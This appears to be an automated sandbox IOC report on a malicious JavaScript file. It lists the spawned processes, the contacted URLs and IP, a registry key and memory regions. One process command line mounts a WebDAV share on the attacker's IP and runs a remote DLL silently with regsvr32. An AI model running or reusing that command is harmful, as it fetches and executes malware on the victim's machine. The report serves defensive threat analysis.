IOC Report
6042109671038401.js

loading gif

Processes

Path
Cmdline
Malicious
C:\Windows\System32\wscript.exe
C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6042109671038401.js"
 malicious
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\ && regsvr32 /s \\94.159.113.79@8888\davwwwroot\18238315982036.dll
 malicious
C:\Windows\System32\net.exe
net use \\94.159.113.79@8888\davwwwroot\
 malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

URLs

Name
IP
Malicious
http://94.159.113.79:8888/pace
unknown
http://94.159.113.79:8888/B
unknown
http://94.159.113.79:8888/
unknown
http://94.159.113.79:8888/wL
unknown
http://94.159.113.79:8888/Z
unknown
http://94.159.113.79:8888/z
unknown
http://94.159.113.79:8888/f
unknown

IPs

IP
Domain
Country
Malicious
94.159.113.79
unknown
Russian Federation
malicious

Registry

Path
Value
Malicious
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe
JScriptSetScriptStateStarted

Memdumps

Base Address
Regiontype
Protect
Malicious
188315D8000
heap
page read and write
1C5C4FD0000
heap
page read and write
1C5C2F97000
heap
page read and write
1C5C4FDB000
heap
page read and write
18831930000
heap
page read and write
1C5C5004000
heap
page read and write
1C5C4FDC000
heap
page read and write
1C5C4FFB000
heap
page read and write
1C5C500F000
heap
page read and write
1883162C000
heap
page read and write
1C5C4FF9000
heap
page read and write
1C5C4FDD000
heap
page read and write
1C5C5000000
heap
page read and write
1C5C4FEA000
heap
page read and write
1C5C31A5000
heap
page read and write
633B2FF000
stack
page read and write
1C5C4FD4000
heap
page read and write
1C5C500F000
heap
page read and write
1C5C4FE6000
heap
page read and write
188315FD000
heap
page read and write
1C5C4FF6000
heap
page read and write
673BCFE000
stack
page read and write
188315D0000
heap
page read and write
1C5C4FF2000
heap
page read and write
1C5C500F000
heap
page read and write
1C5C5225000
heap
page read and write
1C5C4FD3000
heap
page read and write
18831603000
heap
page read and write
1C5C500F000
heap
page read and write
1C5C500F000
heap
page read and write
1C5C500F000
heap
page read and write
1C5C4FF3000
heap
page read and write
1C5C3100000
heap
page read and write
1C5C500F000
heap
page read and write
633AEFE000
stack
page read and write
1C5C4FDC000
heap
page read and write
633B0FF000
stack
page read and write
1C5C500F000
heap
page read and write
1C5C5409000
heap
page read and write
1C5C5220000
heap
page read and write
1C5C4FF9000
heap
page read and write
1C5C4FF9000
heap
page read and write
1C5C4FFC000
heap
page read and write
18831580000
remote allocation
page read and write
188315E0000
heap
page read and write
1C5C4FEE000
heap
page read and write
1C5C500F000
heap
page read and write
1C5C500F000
heap
page read and write
1C5C500F000
heap
page read and write
1C5C500F000
heap
page read and write
1C5C5014000
heap
page read and write
673BAFF000
stack
page read and write
1C5C4FDF000
heap
page read and write
1C5C4FE3000
heap
page read and write
1C5C4FD6000
heap
page read and write
673BA7A000
stack
page read and write
1C5C500F000
heap
page read and write
633ACFA000
stack
page read and write
1C5C50D7000
heap
page read and write
1C5C500F000
heap
page read and write
1C5C5018000
heap
page read and write
1C5C4FF9000
heap
page read and write
18831500000
heap
page read and write
633B6FB000
stack
page read and write
1C5C500F000
heap
page read and write
633B1FF000
stack
page read and write
18831935000
heap
page read and write
1C5C500F000
heap
page read and write
673BB7E000
stack
page read and write
1C5C4FE1000
heap
page read and write
1C5C31A0000
heap
page read and write
1C5C500F000
heap
page read and write
1C5C4FEF000
heap
page read and write
1C5C4FE4000
heap
page read and write
18831510000
heap
page read and write
1C5C4B30000
heap
page read and write
673BC7E000
stack
page read and write
18831530000
heap
page read and write
1C5C50D6000
heap
page read and write
1C5C4FF9000
heap
page read and write
1C5C500C000
heap
page read and write
18831580000
remote allocation
page read and write
673BBFC000
stack
page read and write
1C5C4FF7000
heap
page read and write
1C5C4FD1000
heap
page read and write
1C5C4FEB000
heap
page read and write
1883160C000
heap
page read and write
1C5C5004000
heap
page read and write
18831580000
remote allocation
page read and write
1C5C4E8D000
heap
page read and write
1C5C2F20000
heap
page read and write
633ADFE000
stack
page read and write
1C5C4FD3000
heap
page read and write
1C5C3120000
heap
page read and write
1C5C500F000
heap
page read and write
18831604000
heap
page read and write
18831626000
heap
page read and write
1C5C500F000
heap
page read and write
1C5C4FE4000
heap
page read and write
1C5C4FD8000
heap
page read and write
18831640000
heap
page read and write
1883160D000
heap
page read and write
1C5C3020000
heap
page read and write
18831639000
heap
page read and write
1C5C4FE7000
heap
page read and write
633B3FE000
stack
page read and write
1C5C4FD4000
heap
page read and write
633B4FE000
stack
page read and write
1C5C4FD9000
heap
page read and write
There are 99 hidden memdumps, click here to show them.